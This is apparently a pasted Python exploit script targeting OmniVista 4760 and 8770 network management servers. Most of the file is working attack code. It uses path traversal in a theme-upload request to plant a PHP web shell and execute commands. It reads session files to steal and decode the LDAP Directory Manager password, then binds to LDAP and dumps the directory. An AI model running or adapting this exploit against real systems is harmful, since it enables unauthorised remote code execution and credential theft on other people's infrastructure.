omnivista.py 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116
  1. import requests
  2. import socket
  3. import ldap
  4. from urllib.parse import urlparse
  5. from urllib3.exceptions import InsecureRequestWarning
  6. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  7. class OmniVista:
  8. def __init__(self, host):
  9. self.host = host
  10. self.addr = (urlparse(self.host).hostname)
  11. self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
  12. self.filename = "poc.php"
  13. self.webshell = "<?php system($_REQUEST[0]) ?>"
  14. def identify(self):
  15. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  16. if '8770' in r.text:
  17. return 8770
  18. elif '4760' in r.text:
  19. return 4760
  20. else:
  21. return False
  22. def checkldap(self):
  23. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24. s.settimeout(10)
  25. result = s.connect_ex((self.addr, 389))
  26. if result == 0:
  27. return True
  28. def info(self):
  29. r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
  30. if 'PHP Version' in r.text:
  31. return r.text
  32. else:
  33. return False
  34. def getpassword(self):
  35. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  36. id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
  37. r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
  38. lenght = int(r.text.split("ldapSuPass")[1][3:5])
  39. password = r.text.split("ldapSuPass")[1][7:7+lenght]
  40. return password
  41. def decodepassword(self, password):
  42. counter = 0
  43. key = 16
  44. cleartext = ""
  45. if password[0:5] == "{NMC}":
  46. password = password[5:]
  47. else:
  48. return False
  49. for char in password:
  50. if 32 <= ord(char):
  51. char = chr(ord(char) ^ key)
  52. cleartext += char
  53. else:
  54. cleartext += char
  55. if ord(char) != 0:
  56. key = counter * ord(char) % 255 >> 3
  57. else:
  58. key = 16
  59. counter += 1
  60. return cleartext
  61. def connectldap(self):
  62. connect = ldap.initialize('ldap://' + self.addr)
  63. connect.set_option(ldap.OPT_REFERRALS, 0)
  64. connect.simple_bind_s(self.username, self.password)
  65. result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE)
  66. print(result)
  67. def exploit4760(self):
  68. for folder in self.folders:
  69. r = requests.post(self.host + 'php-bin/webclient.php',
  70. data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
  71. files = { "BgImg1": (self.filename, self.webshell, "image/png")},
  72. verify=False)
  73. if 'success' in r.text:
  74. self.folder = folder
  75. return True
  76. def exec4760(self, cmd):
  77. return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
  78. def autoexploit(self):
  79. print('[*] Attempting to exploit on {}'.format(self.host))
  80. self.model = self.identify()
  81. if self.model == 4760:
  82. print('[*] Model is {}'.format(str(self.model)))
  83. self.exploit4760()
  84. print('[*] Upload folder is {}'.format(self.folder))
  85. output = self.exec4760("whoami")
  86. print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
  87. print('[*] Command output: '.format(output))
  88. elif self.model == 8770:
  89. print('[*] Model is {}'.format(str(self.model)))
  90. self.username = "cn=Directory Manager"
  91. self.password = self.decodepassword(self.getpassword())
  92. print('[*] {} password is "{}"'.format(self.username, self.password))
  93. if self.checkldap():
  94. print('[*] LDAP Service is accessible!')
  95. self.connectldap()
  96. print("Stuff here")
  97. else:
  98. print("[x] LDAP Service is not directly accessible")
  99. return False
  100. else:
  101. print("[x] Target is not an OmniVista 4760/8770")
  102. return False
  103. #exploit = OmniVista('')
  104. #exploit.autoexploit()